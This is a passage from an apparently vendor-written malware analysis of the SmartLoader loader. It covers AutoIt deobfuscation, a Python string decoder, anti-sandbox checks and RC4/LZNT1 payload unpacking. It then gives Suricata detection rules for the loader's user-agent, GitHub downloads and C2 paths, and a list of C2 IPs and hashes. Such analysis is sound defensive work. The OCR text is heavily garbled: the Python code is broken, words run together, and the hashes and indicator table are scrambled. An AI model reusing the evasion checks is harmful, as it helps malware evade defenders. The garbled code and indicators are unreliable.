39 DirGetSize ( SHOULDERDOWNLOADCOM ( "93/163)116/116)163)38)38/38)38/77,120/103}118)116)38)38)38)38.89)1(
40 $EDITIONSOPERATORBUNDLEPROMOTES = $EDITIONSOPERATORBUNDLEPROMOTES + 29405 / 29405

Figure 23. Formatted content of file "t"

Once the initial cleaning pass is completed, several patterns of artificial complexity become clearly
visible.

First, the SHOULDERDOWNLOADCOM function appears repeatedly. It takes a string and a number as
parameters, and seems to returnanother string.

Asimple Python implementation of this function mightlook something like:

#!/usr/bin/env python3

import sys

if len(sys.argv) < 2: print("Missing arguments.")
sys.exit(-1)

encoded_string = sys.argv[1] pound = int(sys.argv([2])
if pound >= 4294967296:

pound = pound - 4294967296

es_arr = encoded_string.split('})

start = 530 + 4294966766

end = 4294967295 + len(es_arr)

decoded =""

foridx, vin enumerate(es_arr):

decoded += chr(int(es_arr[idx]) - int(pound))
print(decoded)
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Oncethevariousreplacementsare applied,arecurring patternemerges, clearly intended to complicate
the understanding of the script.

The patternis asfollows:

While <constante>:
var = <constante?2>
Switchvar
Casex
[set of instructions]
Casey
[set of instructions]
Case <constante2>
[actual instructions]
ExitLoop
EndSwitch
Wend

It's clear from this structure that only a small portion of the code is actually reachable.
Once the dead code isremoved, the scriptisreduced to about 900 KB, making it mucheasier toread.

This cleanup reveals more details about how the scriptfunctions. Itincludes a series of checks onthe
executionenvironment-whetherit's the machine running the process or the way it was launched.

Examples of these checks include:

COMPUTERNAME = tz (BitDefenderemulator)

COMPUTERNAME = NfZtFbPfH (Kaspersky emulator)

COMPUTERNAME = ELICZ (AVG emulator)

USER = test22

Presence of the process avastui.exe

Pinging a non-existent domain (execution stops if the ping succeeds)
Presence of the process bdagent.exe (triggers a sleep(160000)if found)

V V.V V V V V

Finally, the mostinteresting partof the scriptis avariable named SROMUUEIJOU, which contains a very
long hexadecimal string.

This stringislater passedas an argument to a functionwithin the script.

SMEASURINGICONELECTRONICFLEXIBILITY = ISSUEDCENTERSCORE (
ROYALBACON (
SINKAPPRECIATION (
Binary ( SROMUUEIJOU ),
Binary ( "404949357957050441543083316298350512946715953370" )
)
),
SSWINGREPEATGREETINGS,
SGARLICBLOOMPOSSESSION,,
SHOURPROT )

The SINKAPPRECIATION function loads a shellcode and takes a string as a parameter.
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The shellcode appears to implement the RC4 encryption algorithm.

< key_length) |

{longlong)ivVard;
iVard + 1;

{uint) key [1Varf
oded_shelleode [ (longlong) (int)uVars
pbVare phVare + 1;
decoded_shellcode[ (longlong) (int)uVars +
] while (pbVare

Figure 24. Disassembly of the shellcode contained in the file “t”

The ROYALBACON function, on the other hand, takes a single binary string as an argument. It calls the
RtiIDecompressFragment function from ntdll.dll, indicating that the decoded payload is a fragment
compressed using the LZNT1 algorithm.

Once this process is run through CyberChef, we obtain a PE file (sha256sum
eb37694151f8e7012a765ff540b066a4e7bc41371446a4b3b79dda9de919d934) qui serale payloadfinal :

Output £«

MZ+ Gy @

LI'This pro not be run in DOS le.

$ y'ES=F|6=F|0=F| ¥06F | 6f . £0oF | 603£0F|003¢6-F| 00
. )

F1663Y6<F 863 ch=F ! & PE

Figure 25. CyberChef output after decryption and decompression

Finally, the AutolT script deletes itself.
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https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-xca/5655f4a3-6ba4-489b-959f-e1f407c52f15

Part 3: Detection

3.1 SIGFLOW

As previously observed, certain activities exhibit distinctive enough characteristics to allow for the
creation of detection rules.

1. User-agent
First, we noted that the User-Agent used was unusual. It consisted of a single alphanumeric string with
no spaces or slashes (/), which are typically present in standard User-Agent formats. However, due to

the potentially high volume of such requests, we will initially treat this as a low-noise indicator.

Here’s anexample of a detection rule:

alert http SHOME_NET any -> SEXTERNAL_NET any (msg:"Possible SmartLoader User-Agent”;
flow:established,to_server; http.user_agent; content:!" ": bsize:>15; content:!"/": flowbits: set,
smartloader.ua; noalert; sid:1000001;)

2. Stage?2

As its name suggests, smartloader primarily functions as a loader, meaning it is naturally designed to
retrieve additional malicious payloads.

Since, in the observed samples, these payloads are hosted on GitHub, we can implement a detection
basedon that behavior.

alert http SHOME_NET any -> SEXTERNAL_NET any (msg:"Possible SmartlLoader Stage 2 (raw
file)": flow:established,to_server; flowbits: isset, smartloader.ua; http.host; content:
"github.com"; http.uri; content:"/raw/"; sid:1000002;)

alert http SHOME_NET any -> SEXTERNAL_NET any (msg:"Possible SmartLoader Stage 2 (release
file)"; flow:established,to_server; flowbits: isset, smartloader.ua; http.host; content:
"github.com"; http.uri; content:"/releases/"; sid:10000083;)
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3. Communication C2

Finally, communications with the C2 server also exhibit specific characteristics. Inthe observed
samples, the path usedis staftic:

alert http SHOME_NET any -> SEXTERNAL_NET any (msg:"Possible SmartLoader Checkin (PUT)";
flow:established,to_server, flowbits: isset, smartloader.ua; http.uri; content:
"/api/YTAsSODYsODIsOWQsYTEsODgsOTAsOTUsNjUsN2Qs";http.method; content:"PUT";
sid:1000004;)

alert http SHOME_NET any -> SEXTERNAL_NET any (msg:"Possible SmartLoader Checkin
(POST)". flow:established,to_server; flowbits: isset, smartloader.ua; http.uri; content:
"[api/YTAsSODYsODIsOWQsYTEsODgsOTAsOTUsNjUsN2Qs";;http.method,; content:"POST";
sid:1000005;)

alert http SHOME_NET any -> SEXTERNAL_NET any (msg:"Possible SmartLoader task completion
(PUT)". flow:established,to_server; flowbits: isset, smartloader.ua; http.uri; content:
"/tasks/YTAsSODYsODIsSOWQsYTEsODgsOTAsOTUsNjUsN2Qs";http.method; content:"PUT";
sid:1000006;)

alert http SHOME_NET any -> SEXTERNAL_NET any (msg:"Possible SmartLoader task completion
(POST)". flow:established,to_server; flowbits: isset, smartloader.ua; http.uri; content:
"/tasks/YTASODYsODIsOWQsYTEsODgsOTAsOTUsNjUsN2Qs";http.method; content:"POST";
sid:1000007;)
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Conclusion

Having gained significant popularity in recent months, SmartLoader employs simple yet highly
effective techniques to evade detection.

Itrelies onbenign binaries to interpretobfuscated scripts, while modifying the archive’s checksums via
the launcher script. This low-effort tactic enables attackers to bypass many detection mechanisms

based on indicator lists.

Itsmost notablecharacteristicislikely the abuse of GitHub’sreputation, using the platform to host both
initial and secondary payloads.

Aswe’ve seen, numerous repositories were created followinga recurring pattern:README filesand user
profiles seemingly generated using LLMs, along with partially automated commit activity.

Finally, the secondary payloads are also hosted on GitHub - using not only the release system, but also
raw files stored inrepositories, and inolder versions, even as attachmentsin issue threads.
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Type
User-Agent

Indicator
gr59jbckqitkplk41hbrtg3dvhyzgj3ndiwftkedxa9o

q568p87yaefulpbidits4qinzj5zflixffwhdénkah6
celhafjhlvoml7bébtsi3ht7Ibaucy

User-Agent
C2

elbzohpyxkndhQdk12jgf
213.176.73.80

C2
C2 (to

be

autoit_out/39890_3388.dmp)

C2 (to

be

autoit_out/39890_3388.dmp)

C2 (to

be

autoit_out/39890_3388.dmp)

SHA256 (payload)

SHA256 (payload)

verified:

verified:

verified:

213.176.7247
159.255.37.200

77.105.164.65

94.156.114.56
8e8173f0411f8c052959503db6d2cdab651ef1228
47e2fe61758b50f9fb8a649

0ed8e43a9b0bbb8754eclce195e07f6af5e5363a
b039cda32413746a3e772fa8

SHA256 (payload)
SHA256 (payload)

SHA256 (luab1.dll)

SHA256 (luajit.exe)

SHA256 (t)

SHA256 (samplel)

5adb75b6d5a79a41fal37fa07b4c72744chbf402c14
947788e26e3dbd1f4403baa
e3b0c44298fcl1c149afbf4c8996fb92427aed1edb4
9b934ca495991b7852b855
012e772e3c72c5f500aab86e78e99afff222bdc8d
914bc32bb244ade03d5a486
30f7bd2e98df2ec3405f3ab4aab5be8f0dc1d9ac
638286edf390c4ddb74b4316
27aac3573f032d20951be0dfbf42cc41f9e26chac
9cdd3cf8421a4dfb3ed50e3
3a2f83a62307345bbf273a4292f190636e0911016
2c7f12a51cb98018¢c17f27a

SHA256 (sample2)
SHA256 (sample3)
SHA256 (sample4)
SHA256 (sampleb)

SHA256 (sample6)

541def175b2b884a92e0a6cf86133edf3c18e3c87
05527b85ecffe8fh8edh3ch
4A11e7a4f4a271d520ca350c498aafe0149540426d
9bf08dcc2e00bc177696f4b
57d5¢2569a10c07529ed7fb18699095a53d9be34
2f612b8230e39a48312a6281
18017f5ee428d795bc3761c106a5014b8eb51e480
87d3357fabeb0c461e8115f
1ee7b5279253d57279b133105526f86d778b4db67
7e3fe83172f6a0c56fbd03d

SHA256 (sample7)

SHA256 (sample8)

022c7dbh2bcd82f3d863d876a76168542886072bf
0fb28333fbda5e96e1e5c114
03aec7e0ab3fca7ad548fa22dedfe3balsdafc7c?2
cbh816a2349d74e002051cOc

SHA256 (sample9)
SHA256 (sample10)

SHA256 (samplell)

0646a8fb1f91c46bcad5ff779aae1d334ch3c8ef7a
8f3b394be762ac5a6717da
0af99b94cab3947eeffe16eb87dbc8aa0837176d2
09e49015fe2e3fcH4ef10b7
0d08d1e0db23cc3ae5365f88bc22¢c4df5c74f071
cfa72f34e4e629336bad56¢c8
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SHA256 (samplel2)
SHA256 (samplel3)
SHA256 (samplel4)
SHA256 (samplel15)

SHA256 (sample16)

2cab00e353e8cd6472c889e944e52d25e065644
7fabaf3fc1e95¢3b3db32067d
33764391e65763065efc160be505¢97fe8c927f8¢
5064c6f6cfd89f3e72¢f597
3abb5aeb6e34d35977¢cf218c785b184425851f94202
092d1bcfbla2cc44a30bfes
5cbf7accebelal8aeabl4a2209cf60ech744b0be
edc41585f562846e1fc3e212
5ce83f99eff295ab626b8f6dacc18a34708a30ac
9a95fd23067d71b820283a71

SHA256 (samplel7)

SHA256 (samplel8)

74f72ebb9bb640810824621706b31a83b44a4756
61e90469dc506ad2368389¢c5
7d70e6d7d4fa8d888bd46680aa604ddof56285d
c78c429ac8ab8e4d88266651f

SHA256 (samplel19)
SHA256 (sample20)
SHA256 (sample21)

SHA256 (sample22)

81580758604dff8b2b8f9126645e4a897e9b86b6
3bede420a07b1a6b3a973638
bifd8621eca72b6b5f2bededeeas94a518ac73ad4
60e61ceb948137afc8c3430
b79c66c6982c75deccdac850f7fc0ac60449eebb
03ee85fd805053aa706adcH3
bd450ff7fd4450c8e62e60f36cccc20efe94do0b
2d0c45556d45a3c878a7cd17

SHA256 (sample23)

SHA256 (sample24)

d069c2eae59abc7ad0chbde361220f91f22813781
2edb5cfd465df1al20ac3ea
dOcch5166b23aece72dc41c9d38666023f6046a0
c562d8096d19555fab0a3e77

SHA256 (sample25)
SHA256 (sample26)

Filename
Filename
Filename
Filename

dadd4646d32ba0987ad11be623¢c3153b41b6b704
fle551h6ee745fald65d0b9d
dff1858beh573519c464988a2c93a5d5b50e8fc2f
b123a1b1393cflaabc2ef2b

Application.zip

Program.zip

Release.zip

Soft.zip

Filename

Software.zip

Filename
Filename

SHA256

18017f5ee428d795bc3761c106a5014b8eb
51e48087d3357fabeb0c461e8115f
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£3) GATEWATCHER

Cybersecurity for
business serenity

Gatewatcher, a leader in cyber threat detection, has
been protecting the networks of businesses and public
institutions, including the most critical ones, since
2015. The Gatewatcher NDR Platform (Network
Detection and Response) combines artificial
intelligence, dynamic and behavioral analytics
techniques, and contextualized Cyber Threat
Intelligence (CTI). This enables unified, comprehensive
visibility, real-time detection and mapping of systems,
and an automated, prioritized response to attacks.
Deployed across cloud, on-premise, or sensitive
infrastructures, and compatible with IT, OT, and loT
environments, it secures all critical assets while
streamlining operations through its integrated Al
assistant. Gatewatcher combines technological power
with operational peace of mind to align cybersecurity
with your business objectives.

gatewatcher.com

contact@gatewatcher.com
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